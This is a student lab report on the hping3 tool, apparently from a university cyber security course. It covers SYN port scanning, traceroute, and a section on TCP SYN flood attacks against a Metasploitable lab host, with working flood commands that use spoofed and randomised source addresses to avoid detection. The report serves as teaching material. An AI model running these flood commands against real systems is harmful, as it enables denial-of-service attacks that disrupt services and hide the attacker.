R V COLLEGE OF ENGINEERING

Name: Dhanush M **USN:** 1RV18IS011 **Dept/Lab:** ISE/CSDF **Expt No:** 01 b
Date: 26/11/2021 **Title:** INFORMATION GATHERING TOOLS

---

b. HPING3

INTRODUCTION

hping3 is a network tool able to send custom ICMP/UDP/TCP packets and to display target replies like ping does with ICMP replies. It handles fragmentation and arbitrary packet body and size, and can be used to transfer files under supported protocols. Using hping3, you can test firewall rules, perform (spoofed) port scanning, test network performance using different protocols, do path MTU discovery, perform traceroute-like actions under different protocols, fingerprint remote operating systems, audit TCP/IP stacks, etc. hping3 is scriptable using the Tcl language.

EXECUTION STEPS

1. **Installing hping3 from a package**
   Syntax - *sudo apt install hping3*

2. **Port Scanning**
   Syntax - *sudo hping3 -S <ip_address> -p <port> -c <number_of_packets>*
   sudo hping3 -S 192.168.225.128 -p 80 -c 1

```
┌──(kali㉿kali)-[~]
└─$ sudo hping3 -S 192.168.225.128 -p 80 -c 1
HPING 192.168.225.128 (eth0 192.168.225.128): S set, 40 headers + 0 data bytes
len=46 ip=192.168.225.128 ttl=64 DF id=0 sport=80 flags=SA seq=0 win=5840 rtt=4.6 ms

--- 192.168.225.128 hping statistic ---
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 4.6/4.6/4.6 ms
```

   This will scan port 80 on specified metasploitable IP. As we can see from the output returned packet from specified metasploitable IP contains SYN and ACK flags set which indicates an open port.
   Note: Use -c 1 flag in order to send the SYN packet only once
   In order to scan a range of ports starting from port 80 and up use the following command line,

```
┌──(kali㉿kali)-[~]
└─$ sudo hping3 -S 192.168.225.128 -p ++50
HPING 192.168.225.128 (eth0 192.168.225.128): S set, 40 headers + 0 data bytes
len=46 ip=192.168.225.128 ttl=64 DF id=0 sport=50 flags=RA seq=0 win=0 rtt=11.7 ms
len=46 ip=192.168.225.128 ttl=64 DF id=0 sport=51 flags=RA seq=1 win=0 rtt=3.1 ms
len=46 ip=192.168.225.128 ttl=64 DF id=0 sport=52 flags=RA seq=2 win=0 rtt=2.6 ms
len=46 ip=192.168.225.128 ttl=64 DF id=0 sport=53 flags=SA seq=3 win=5840 rtt=8.8 ms
len=46 ip=192.168.225.128 ttl=64 DF id=0 sport=54 flags=RA seq=4 win=0 rtt=8.2 ms
len=46 ip=192.168.225.128 ttl=64 DF id=0 sport=55 flags=RA seq=5 win=0 rtt=7.5 ms
len=46 ip=192.168.225.128 ttl=64 DF id=0 sport=56 flags=RA seq=6 win=0 rtt=7.5 ms
len=46 ip=192.168.225.128 ttl=64 DF id=0 sport=57 flags=RA seq=7 win=0 rtt=5.4 ms
len=46 ip=192.168.225.128 ttl=64 DF id=0 sport=58 flags=RA seq=8 win=0 rtt=4.7 ms
^C
--- 192.168.225.128 hping statistic ---
9 packets transmitted, 9 packets received, 0% packet loss
```

3. **Traceroute using Hping3**

   This illustration is like popular utilities like tracert (windows) or traceroute (linux) who utilizes ICMP packets expanding each time in 1 its TTL value.

   Syntax - *sudo hping3 --traceroute -V -1 <ip_address>*

```
┌──(kali㉿kali)-[~]
└─$ sudo hping3 --traceroute -V -1 192.168.225.128
using eth0, addr: 192.168.225.129, MTU: 1500
HPING 192.168.225.128 (eth0 192.168.225.128): icmp mode set, 28 headers + 0 data bytes
len=46 ip=192.168.225.128 ttl=64 id=16124 tos=0 iplen=28
icmp_seq=0 rtt=7.8 ms
len=46 ip=192.168.225.128 ttl=64 id=16125 tos=0 iplen=28
icmp_seq=1 rtt=7.1 ms
len=46 ip=192.168.225.128 ttl=64 id=16126 tos=0 iplen=28
icmp_seq=2 rtt=7.4 ms
len=46 ip=192.168.225.128 ttl=64 id=16127 tos=0 iplen=28
icmp_seq=3 rtt=9.3 ms
len=46 ip=192.168.225.128 ttl=64 id=16128 tos=0 iplen=28
icmp_seq=4 rtt=9.1 ms
len=46 ip=192.168.225.128 ttl=64 id=16129 tos=0 iplen=28
icmp_seq=5 rtt=8.0 ms
len=46 ip=192.168.225.128 ttl=64 id=16130 tos=0 iplen=28
icmp_seq=6 rtt=6.3 ms
^C
--- 192.168.225.128 hping statistic ---
7 packets transmitted, 7 packets received, 0% packet loss
round-trip min/avg/max = 6.3/7.9/9.3 ms
```

4. **Perform A TCP Syn Flood Attack With Kali Linux & Hping3**

   Syntax - *sudo hping3 -a <FAKE IP> <target> -S -q -p 80 --faster*

   sudo hping3 -a 192.168.225.128 192.168.225.128 -S -q -p 80 --faster

```
┌──(kali㉿kali)-[~]
└─$ sudo hping3 -a 192.168.225.128 192.168.225.128 -S -q -p 80 --faster
HPING 192.168.225.128 (eth0 192.168.225.128): S set, 40 headers + 0 data bytes
^C
--- 192.168.225.128 hping statistic ---
510791 packets transmitted, 7 packets received, 100% packet loss
round-trip min/avg/max = 0.4/4.5/7.8 ms
```

   Syntax - *hping3 -c 15000 -d 120 -S -w 64 -p 80 --flood --rand-source 192.168.225.128*

```
┌──(kali㉿kali)-[~]
└─$ sudo hping3 -c 15000 -d 120 -S -w 64 -p 80 --flood --rand-source 192.168.225.128

HPING 192.168.225.128 (eth0 192.168.225.128): S set, 40 headers + 120 data bytes
hping in flood mode, no replies will be shown
^C
--- 192.168.225.128 hping statistic ---
417737 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
```

   We're sending 15000 packets (-c 15000) at a size of 120 bytes (-d 120) each. We're specifying that the SYN Flag (-S) should be enabled, with a TCP window size of 64 (-w 64). To direct the attack to our victum's HTTP web server we specify port 80 (-p 80) and use the --flood flag to send packets as fast as possible. As you'd expect, the --rand-source flag generates spoofed IP addresses to disguise the real source and avoid detection but at the same time stop the victim's SYN-ACK reply packets from reaching the attacker.

CONCLUSION

1. Hping3 is a command line utility to perform port scanning and flood attacks which can also be spoofed to point to the target location itself.
2. Using hping3, you can test firewall rules, perform (spoofed) port scanning, test network performance using different protocols like ICMP, FIN, etc.

REFERENCES

1. Hping3 Tricks and Tips
   https://iphelix.medium.com/hping-tips-and-tricks-85698751179f
2. Hping3 flood ddos
   https://linuxhint.com/hping3/
3. Performing TCP SYN Flood attack
   https://www.firewall.cx/general-topics-reviews/network-protocol-analyzers/1224-performing-tcp-syn-flood-attack-and-detecting-it-with-wireshark.html